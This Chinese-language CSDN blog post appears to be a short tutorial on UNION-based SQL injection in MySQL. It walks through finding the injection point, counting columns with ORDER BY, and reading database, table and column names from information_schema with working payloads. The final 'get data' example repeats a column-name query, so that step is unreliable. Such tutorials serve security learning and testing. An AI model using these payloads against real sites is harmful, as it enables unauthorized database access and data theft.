联合查询注入的过程
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数
4、获取数据库名
5、获取数据库中的表名
6、获取字段名
7、获取字段中的数据
-
注入点
sql联合查询的注入点都比较明显, 必须是页面上的显示位(页面中展示数据库中数据的位置),否则无法注入,如id,name等等。 -
判断整形还是字符型
(1)尝试使用加单引号或双引号
显示数据库错误信息或者页面回显不同可以判断是整形注入和字符型注入.整型注入没有变化,而字符型注入则回显不同
(2)*输入’ and 1=1和 ’ and 1=2 *
发现页面变化,判断为字符注入 -
查询列数
使用order by函数 对MySQL中查询结果按照指定字段名进行排序,order by 1.2.3…第一个查询字段为1,第二个为2,依次类推。 -
获取数据库名
使用 group_concat()将所有的表名联系在一起
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
例如?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)' -
获取数据库中的表名
在这里使用group_concat()函数加一个数据表名table_name,然后指定一个来源得到库中的表名
例如select group_concat(table_name) from information_schema.tables where table_schema = '数据库名' -
获取字段名
知道表名,直接利用sql语句就可以得到所有的字段名
例如 select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='表名' -
获取字段中的数据
例如id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = '字段')
————————————————
-
版权声明:本文为CSDN博主「暮秋.十七」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
-
原文链接:https://blog.csdn.net/m0_65977612/article/details/127929030